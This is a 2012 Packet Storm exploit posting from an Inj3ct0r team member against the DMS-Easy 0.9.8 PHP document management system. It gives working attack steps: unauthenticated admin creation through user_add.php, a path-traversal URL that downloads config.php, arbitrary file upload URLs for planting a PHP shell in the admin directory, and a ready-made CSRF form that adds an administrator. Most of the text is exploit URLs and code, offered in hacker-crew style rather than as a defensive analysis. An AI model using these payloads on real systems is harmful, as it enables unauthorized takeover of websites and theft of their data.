CMS DMS-Easy 0.9.8 CSRF / File Disclosure / Shell Upload

2012-06-23T00:00:00
ID PACKETSTORM:114094
Type packetstorm
Reporter the_cyber_nuxbie
Modified 2012-06-23T00:00:00

Description

                                        
                                            ` 1=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-0  
0 _ __ __ __ 1  
1 /' \ __ /'__`\ /\ \__ /'__`\ 0  
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1  
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0  
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1  
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0  
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1  
1 \ \____/ >> Exploit database separated by exploit 0  
0 \/___/ type (local, remote, DoS, etc.) 1  
1 0  
0 [x] Official Website: http://www.1337day.com 1  
1 [x] Support E-mail : mr.inj3ct0r[at]gmail[dot]com 0  
0 1  
1 $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ 0  
0 I'm NuxbieCyber Member From Inj3ct0r TEAM 1  
1 $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ 0  
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=1  
  
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx  
<<<:>>> CMS DMS-Easy - Multiple Vulnerability <<<:>>>  
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx  
  
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
./Title Exploit : CMS DMS-Easy - Multiple Vulnerability  
./CMS Version : DMSEasy0.9.8 (Last Version).  
./Software Link : http://sourceforge.net/projects/dms-easy/  
./Author Exploit: [ TheCyberNuxbie ]  
./Security Risk : [ Critical Level ]  
./Category XPL : [ WebApps/ZeroDay ]  
./Time & Date : June, 22 2012. 06:27 PM.  
./System Tested : Windows 7 Ultimate, Firefox 9.0.1, Xampp-win32-1.7.3  
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
  
############################################################################  
# - POC:  
# 1.1 Exploit - Local Add Admin.  
# 1.2 Exploit - Remote File Disclosure.  
# 1.3 Exploit - Multiple Arbitrary File Upload.  
# 1.4 Exploit - CSRF (Add Admin).  
#############################################################################  
#  
# - Information Details:  
# DMS-Easy is a web-based Document Management System (DMS) written in PHP5 with MySQL backend.  
# The most excited feature is it enable you build Tree-based documents on-line very easily,  
# and the F-Exploer use a directory tree to manage files,  
# it enable you create/delete/copy/rename/upload files in it.  
# In DMS-Easy, you can change color as your pleases.  
# For more information and support: http://www.dmseasy.com/  
#  
#############################################################################  
#  
# 1.1 Exploit - Local Add Admin:  
#  
# - Security Risk High...!!!  
# All Users (not registered) Allowed Create New Admin (Administrator Level).  
# - Go To: http://dmseasy/front/user_add.php (file not protected)  
#  
# View User List: http://dmseasy/front/user_list.php  
# Attacker allow remove other admin @user_list.  
#  
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
#  
# 1.2 Exploit - Remote File Disclosure:  
#  
# - Remote File Disclosure (download config file):  
# http://dmseasy/front/downloadfile.php?file=dmseasy/common/config.php  
#  
# Vuln: ../dmseasy/front/downloadFile.php Line 5.  
# CODE: $filename = $_SERVER["DOCUMENT_ROOT"] . "/" . get("file");  
#  
# [ End Of Code ]  
#  
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
#  
# 1.3 Exploit - Multiple Arbitrary File Upload:  
#  
# 1.3.1 Arbitrary File Upload (upload_1.php) & (upload_2.php):  
#  
# - Security Risk High...!!!  
# All Users (not registered) Allowed upload all ext files.  
# Attacker allow upload shell-backdoor.php (frontend).  
#  
# http://dmseasy/upload/upload_1.php <--- Vuln.  
# http://dmseasy/upload/upload_2.php <--- Vuln.  
#  
# (upload_1.php)  
# <?php  
# $limit = "";  
# $dir_name = get("dir_name");  
# $file_type = get("file_type");  
#  
# if(isset($dir_name)){  
# //echo $dir_name ;  
# $limit .= "&dir_name=".$dir_name ;  
# }  
# if(isset($file_type)){  
# //echo $file_type ;  
# $limit .= "&fileType=".$file_type ;  
# }  
# // echo $limit ;  
# ?>  
#  
# (upload_2.php)  
# <?php  
#  
# $userfile ;  
# $filesize ;  
# $savename = get("savename");  
# $filename = get("filename");  
# $fileType = get("fileType");  
# $dir_name = get("dir_name");  
#  
# if(isset($_FILES["userfile"])){  
# // phpinfo();  
#  
# $userfile = $_FILES["userfile"]["tmp_name"];  
# $filesize = $_FILES["userfile"]["size"];  
# $filename = $_FILES["userfile"]["name"];  
# $savename = "P_".time().substr($filename,strlen($filename)-4);  
# $savepath = $dir_name."/";  
#  
# // echo $userfile."," .$savepath.$savename;  
#  
# // move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir . $_FILES['userfile']['name']))   
# //echo $savepath.$savename ;  
# if(move_uploaded_file($userfile, $savepath.$savename)){  
#  
# [ End Of Code ]  
#  
# - Exploit:  
# http://dmseasy/upload/upload_1.php?a=1&dir_name=[directory]  
# http://dmseasy/upload/upload_2.php?a=bb&dir_name=[directory]  
#  
# [directory] is folder files uploaded.  
#  
# - Sample:  
# http://dmseasy/upload/upload_1.php?a=1&dir_name=attachment <--- [directory]  
# http://dmseasy/upload/attachment/P_1340336***.php  
#  
# http://dmseasy/upload/upload_2.php?a=bb&dir_name=../admin <--- [directory]  
# http://dmseasy/admin/P_1340336***.php  
#  
# http://dmseasy/upload/upload_1.php?a=1&dir_name=.. <--- [directory]  
# http://dmseasy/P_13403364***.php  
#  
# 1.3.2 FCKEditor Arbitrary File Upload:  
#  
# http://dmseasy/FCKeditor/editor/filemanager/upload/test.html  
# ../FCKEditorUserFiles/attacker(.ext)  
#  
# http://dmseasy/FCKeditor/editor/filemanager/browser/default/connectors/test.html  
# ../FCKEditorUserFiles/File/attacker(.ext)   
#  
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
#  
# 1.4 Exploit - CSRF (Add Admin):  
#  
# <html>  
# <head>  
# <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">  
# <title>CMS DMS-Easy - CSRF Add Admin Exploit</title>  
# </head>  
# <body>  
# <form name="form1" method="post" action="http://dmseasy/front/user_add.php" target="" onsubmit="return check_form(this)">  
# <input name="user_name" type="hidden" id="user_name" value="nuxbie"/>  
# <input name="password" type="hidden" id="password" value="nuxbie"/>  
# <input type="radio" name="is_admin" id="is_admin" value="Y" checked/>  
# <input type="radio" name="is_admin" id="is_admin" value="N"/>  
# <input name="email_address" type="hidden" id="email_address" value="root@31337sec.com"/>  
# <input name="office_tel" type="hidden" id="office_tel"/>  
# <input name="mobile" type="hidden" id="mobile"/>  
# <input name="msn" type="hidden" id="msn"/>  
# <input name="qq" type="hidden" id="qq"/>  
# <input type="button" class="button" name="button_1" id="button_1" value="Cancel" onclick="go_url('user_list.php')"/>  
# <input type="submit" class="button" name="button_1" id="button_1" value="Save"/>  
# </form>  
# </body>  
# </html>  
#  
# [ End Of Code ]  
#  
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
#  
# - Special Thanks:  
# ...:::' 1337day - Inj3ct0r TEAM ':::...  
# BoSs r0073r & All 31337 Member Inj3ct0r TEAM,,,  
# , And All Inj3ct0r Fans & All Hacktivist,,,  
#  
#################################################################################  
# [ Inj3ct0r | PacketStromSecurity | Exploit-ID | Devilzc0de | SekuritiOnline ] #  
# [ Codenesia | ID-BackTrack | IndonesianCoder | IndonesianHacker | JatimCrew ] #  
# [ E-C-H-O | ExploreCrew | Hacker-Newbie | Jasakom | YogyaCarderLink ./etc.. ] #  
# -------------------[ We Are c0d3rs And We Are An Exploit ]------------------- #  
# [ r0073r, Sid3^effects, r4dc0re, CrosS, SeeMe, indoushka, KnocKout, ZoRLu ] #  
# [ anT!-Tr0J4n, KedAns-Dz, Kalashinkov3, Angel Injection, Sammy FORGIT, NoGe ] #  
# [ cr4wl3r, eidelweiss, v3n0m, g3mb3lz_YCL, team_elite, Hmei7, kaMtiEz, c4uR ] #  
# [ cyberlog, y3dips, K-159, the_day, irvian, k1tk4t, b374k, EA Ngel, OoN_Boy ] #  
# [ mywisdom, Flyff666, YaDoY666, jos_ali_joe, Vrs-hCk, OLiBekaS, vYc0d s4va ] #  
# [ Elmonny, Dencowbie, Cyberbag0r, r4h0x, SeekerUnZero, AfniGates, ./etc.. ] #  
#################################################################################  
`